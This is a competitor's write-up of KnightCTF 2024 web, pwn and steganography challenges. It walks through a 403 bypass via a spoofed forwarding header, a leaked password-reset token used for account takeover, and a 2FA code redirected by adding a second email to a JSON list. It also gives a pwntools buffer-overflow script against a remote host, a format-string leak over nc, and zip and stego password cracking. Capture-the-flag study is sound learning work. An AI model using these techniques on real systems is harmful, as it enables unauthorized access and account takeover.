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KnightCTF 2024 Writeup

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By Henry Scott 7 min read

KnightCTF 2024 is a jeopardy CTF competition for Cyber ​​Security professionals and students or those who are interested in security. There will be challenges in various categories like PWN, Reversing, Web, Cryptography etc.

This is some of my writeup in web, pwn, and steganography challenges, hope you like it!

Web

Levi Ackerman (50 pts)

Levi Ackerman

Yea, as you can see in the task description, we should go to http://66.228.53.87:5000/robots.txt to check if Levi is a robot =))

When you access the /robots.txt, you will see this line:

Disallow : /l3v1_4ck3rm4n.html

Now, you just need to visit http://66.228.53.87:5000/l3v1_4ck3rm4n.html to get the flag

Flag: KCTF{1m_d01n6_17_b3c4u53_1_h4v3_70}

Kitty (50 pts)

Kitty

First, check the source code and I see the credentials in the script.js file. It’s Username:Password as you can see in the image below

cred

Once logged in, you will see a dashboard page with an input form for creating posts

Now, look at the source code again, I found an intersting line:

cat flag.txt

This means that all you need to do is enter cat flag.txt in the input form to retrieve the flag

Flag: KCTF{Fram3S_n3vE9_L1e_4_toGEtH3R}

README (305 pts)

readme pls

In this challenge, we need to read the flag.txt file to get flag. And as I see here, I can only read text.txt file, flag.txt will return 403 status code

To bypass 403, I used Forwarded-For: 127.0.0.1 header from hacktricks, and that’s it!

hmm

Flag: KCTF{kud05w3lld0n3!}

There are a few other headers that you can try out!

Gain Access 1 (100 pts)

Gain Access 1

This is a login page and our mission is to find a way to bypass that to access the admin panel (= flag)

First, I analyzed the source code and found an email root@knightctf.com that might be useful later. The next focus was on the Forgot Password? function. I tried entering a different email like 27fbec16-85a8-497b-86ff-5bf0580abdd0@email.webhook.site, but it returned Invalid Email.

forgot.php

So, I intercepted the request using Burp Suite to test it more

token

Here, did you see any wrong in the request response? Yes, the web returns the token! This means I can use this token to bypass authentication!

After checking robots.txt, I found the /r3s3t_pa5s.php page. I saw the /r3s3t_pa5s.php page required a token to work. Assuming the parameter to be token, I sent the above token to retrieve the reset link like this:

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http://45.33.123.243:13556/r3s3t_pa5s.php?token=fciJdLm6x1eGQgRAohqWC

reset password successfully

I successfully reset the password for root@knightctf.com to 123. I then used these credentials to log in and access the admin panel, and voila! I found the flag

Flag: KCTF{ACc0uNT_tAk3Over}

Gain Access 2 (440 pts)

Gain Access 2

As usual, I checked the source code and found the notesssssss.txt file. Which contains an email and a hash (maybe?)

I've something for you. Think.....
root@knightctf.com:d05fcd90ca236d294384abd00ca98a2d

After searching the hash, I found md5hashing.net can unhash it

hash

Now, I got the password is letmein_kctf2024. But after login in, I faced with Two-Factor Authentication aka 2FA

Look at the Resend Code function, looks like it only accepts root@knightctf.com as you can see in the image below

resend code

What if I add another email besides root@knightctf.com?

hmmm

And I added 27fbec16-85a8-497b-86ff-5bf0580abdd0@email.webhook.site to the request by using [], which makes it become a list. You can see more about how it works here

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{ "email":["root@knightctf.com","27fbec16-85a8-497b-86ff-5bf0580abdd0@email.webhook.site"] }

I tried it and it worked. The website sent the code to my email as well

code

Noice

Lastly, I entered the code and got the flag for Gain Access 2!

flag

Flag: KCTF{AuTh_MIsC0nFigUraTi0N}

Pwn

Get The Sword (100 pts)

get the sword

Download link: https://drive.google.com/file/d/1HsQMxiZlP5978DzqnoZs6g6QOnCzVm_G/view

First, I run file and checksec commands to check the file type as well as some information about the file. And I noticed that this is a 32-bit program

32bit

Next, I run this file to know the flow of the program. This is a simple program that lets us type anything to “get the sword” (= flag)

test

After that, I used Ghidra to generate pseudo code and analyze it

As you can see in the image below, there are 4 functions that we may focus on, especially main and getSword:

function

Let’s take a look at the main function:

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//main

undefined4 main(void)

{
  printSword();
  intro();
  return 0;
}

We see that it calls the printSword function, which will print an ASCII sword to the terminal as I tested above. It also calls intro function:

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//intro

void intro(void)

{
  undefined local_20 [24];
  
  printf("What do you want ? ?: ");
  fflush(_stdout);
  __isoc99_scanf(&DAT_0804a08c,local_20);
  printf("You want, %s\n",local_20);
  return;
}

The intro function allows input of up to 24 characters and prints it to the terminal. But, it uses scanf, which means we can input more than 24 characters to execute Stack Overflow vulnerability

The last function is getSword():

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//getSword

void getSword(void)

{
  system("cat flag.txt");
  fflush(_stdout);
  return;
}

The getSword() function makes the challenge easier because our mission now is just to find a way to call it and we will get the flag

It's Hacking Time

First, we need to overflow the buffer by filling it with 24 characters

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python -c "print('A'*24)" | ./get_sword

But I don’t see the Segmentation Fault here, so I’ll continue to test some values until I reach it (it’s 28 characters)

28 chars

Because this is 32-bit program, we can then add 4 more bytes to overflow the EBP register. If it’s 64-bit program, the bytes will be 8 to overflow the RBP register

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python -c "print('A'*32)" | ./get_sword

Finally, by adding the address of the getSword() function, we can call it and retrieve the flag

You can use gdb to get the address of the getSword() function or use pwntools to find it faster

This is the exploit script:

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#!/usr/bin/python3

from pwn import *

elf = ELF("./get_sword")
io = remote("173.255.201.51", 31337)
io.sendline(b'\x90'*32 + p64(elf.sym['getSword']))
io.interactive()
io.close()

flag

Flag: KCTF{so_you_g0t_the_sw0rd}

Notes: \x90 is called NOPs. To read more about NOPs, click here

The Dragon’s Secret Scroll (145 pts)

the dragon's secret scroll

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 nc 173.255.201.51 51337

At first, I attempted to overflow the server with numerous ‘A’ characters, but it was unsuccessful. Therefore, I suspected that there might be some other vulnerabilities~~

Format String

This time, I tested with %x, %p and I realized it has Format String vulnerability

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python -c "print('%p '*50)" | nc 173.255.201.51 51337

Now, focus on the highlighted line and use CyberChef to decode it. Apply the Swap endianness and Hex to see the flag. Just look carefully!

flag

Flag: KCTF{DRAGONsCrOll}

Steganography

Flag Hunt! (100 pts)

flag hunt

Download link: https://drive.google.com/file/d/17nINR5uv5fwiBXAE9FGVw4UpoJQDK1UH/view

This zip file needs a password to extract but I couldn’t find it, so I decided to crack it using fcrackzip

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fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u chall.zip

PASSWORD FOUND!!!!: pw == zippo123

Unzip the file with the password zippo123, and you will see a bunch of rickroll images, 2 txt files and a wav file

n0t3.txt:

The flag is here somewhere. Keep Searching..

Tip: Use lowercase only

nooope_not_here_gotta_try_harder.txt:

KCTF{f4k3_fl46}

About the key.wav file, I realize this is morse code and we can decode it using this website:

MORSECODETOTHERESCUE!!

After that, I literally in vain, but luckily, when tried uploading one of the rickroll images to aperisolve.fr, I saw something suspect

sus

img725.jpg have a different size than other images

This immediately let me think about stegseek, a tool used to crack and find hidden content in an image

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stegseek --extract img725.jpg flag.txt

When it required the passphrase, I tried the decoded morse code in uppercase but it was not successful. However, I recalled a helpful tip from n0t3.txt and changed it to lowercase to get the flag

Flag: KCTF{3mb3d_53cr37_4nd_z1pp17_4ll_up_ba6df32ce}

Thanks for reading guys :3

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